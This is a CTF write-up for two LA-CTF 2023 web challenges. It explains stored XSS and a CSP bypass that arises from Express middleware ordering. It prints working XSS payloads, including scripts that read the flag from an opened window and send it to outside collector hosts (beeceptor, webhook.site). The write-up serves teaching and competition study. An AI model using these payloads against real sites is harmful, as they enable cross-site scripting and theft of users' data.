LA-CTF 2023 - Web

14 Feb 2023

Metaverse

This challenge revolved around an incredibly ugly social media website called “Metaverse” where the flag was stored as the “display name” of the admin bot on the website. In our posts, we could inject arbitrary HTML which would automatically send a friend request to our own account (after we had also sent a friend request to the admin bot).

Here was the payload I used to win:

<script>fetch("/friend", {method: "POST", body:"username=milan", headers: {"Content-Type": "application/x-www-form-urlencoded"}})</script></p>

The resulting flag was: lactf{please_metaget_me_out_of_here}.

California State Police

This was very similar to metaverse. It was another website where we could create arbitrary HTML pages–however with a very restrictive CSP (content security policy): "default-src 'none'; script-src 'unsafe-inline'". This CSP prevents us from sending any typical fetch requests or using the src attribute of HTML tags to load external resources.

However, since it allows us to include inline javascript through <script> tags, we could use either document.location or window.open to redirect the user and essentially let us perform any arbitrary GET requests.

Unfortunately, to retrieve the flag requires getting the admin bot to send a POST request to the backend:

app.get("/flag", (req, res) => {
    res.status(400).send("you have to POST the flag this time >:)");
});

app.post("/flag", (req, res) => {
    if (req.cookies.adminpw === adminpw) {
        res.send(flag);
    } else {
        res.status(400).send("no hacking allowed");
    }
});

I pretty much had no idea on how to perform this type of request, but one of my teammates (shout out to @BobbySinclusto) realized we could use a <form method="POST"> tag to send a POST request since we can have our javascript invoke the .submit attribute on it. Triggering a POST request via a form submission will redirect our current web-page to the resulting endpoint (which will be the text of the flag)–which isn’t immediately helpful (we can’t execute javascript after the form submission redirects our page).

So, the trick I came up with was to create a post that would instantly trigger a POST request to the flag route, and then create another post which would open that post with window.open and then, since the window API lets us access the DOM of the opened page, read the flag text and then send it to our own endpoint by re-assigning document.location.

Post 1: Instantly sends POST request to /flag

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<h1>pwned by OSUSEC</h1>
<form id="evil" action="/flag" method="post">
</form>
<script>
setTimeout( () => {
document.getElementById("evil").submit()
}, 2000)
</script>
</body>
</html>

Post 2: Window.open & document.location 2 win

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<h1>pwned by OSUSEC</h1>
<script>
a = window.open("https://california-state-police.lac.tf/report/7cb90fea-4839-4079-b750-c1745ba5ff1f")
setTimeout(() => {
  document.location = "https://mmemmeme.free.beeceptor.com/q="+a.document.getElementsByTagName('body')[0].textContent
}, 200)
</script>
</body>
</html>

And BOOM, looking in beeceptor I got a flag: lactf{m4yb3_g1v1ng_fr33_xss_1s_jus7_4_b4d_1d3a}.

One technical note for this window.open trick to work is that I needed to set a short timeout for the window to actually load, since if I tried to read the opened’d windows contents immediately it would just return the HTML of my post. This timeout still had to finish quickly though since the Admin bot would leave the webpage after like 500ms.

Looking at the Author’s solution:

<script>w=window.open("/flag");w.onload=()=>w.document.write(`<img src=x onerror="fetch('/flag',{method:'POST'}).then(x=>x.text()).then(x=>fetch('https://webhook.site/026ae782-0cfc-4233-b1e3-72e259f883e7?a='+encodeURIComponent(x)))">`)</script>

They just used the window.open trick to first fail on the GET route version of flag (which won’t load the flag text–see server-side code above) and then actually write HTML to the opened window with an XSS payload that will invoke fetch to send a POST request to the /flag route, and then with promises forward that flag to their own endpoint. Honestly, this solution shocked me since it involved a POST request being made with fetch, which shouldn’t get allowed by the CSP.

Well, it turns out the middleware setting the CSP gets called AFTER they defined the flag routes!

// ^ /flag routes up here

app.use((req, res, next) => {
    res.set(
        "Content-Security-Policy",
        "default-src 'none'; script-src 'unsafe-inline'"
    );
    next();
});

// BELOW HERE ARE THE ROUTES SERVING HTML!

Reading this stack overflow post seems to confirm my suspicions about this behavior from express.

Now, the order of the declaration of the middle-ware doesn’t necessarily matter. For instance, if they had the flag routes call next() after res.send() then they would have a CSP get set in one of the response headers. I totally missed this detail when analyzing the given express server source code but will keep this in mind for future challenges.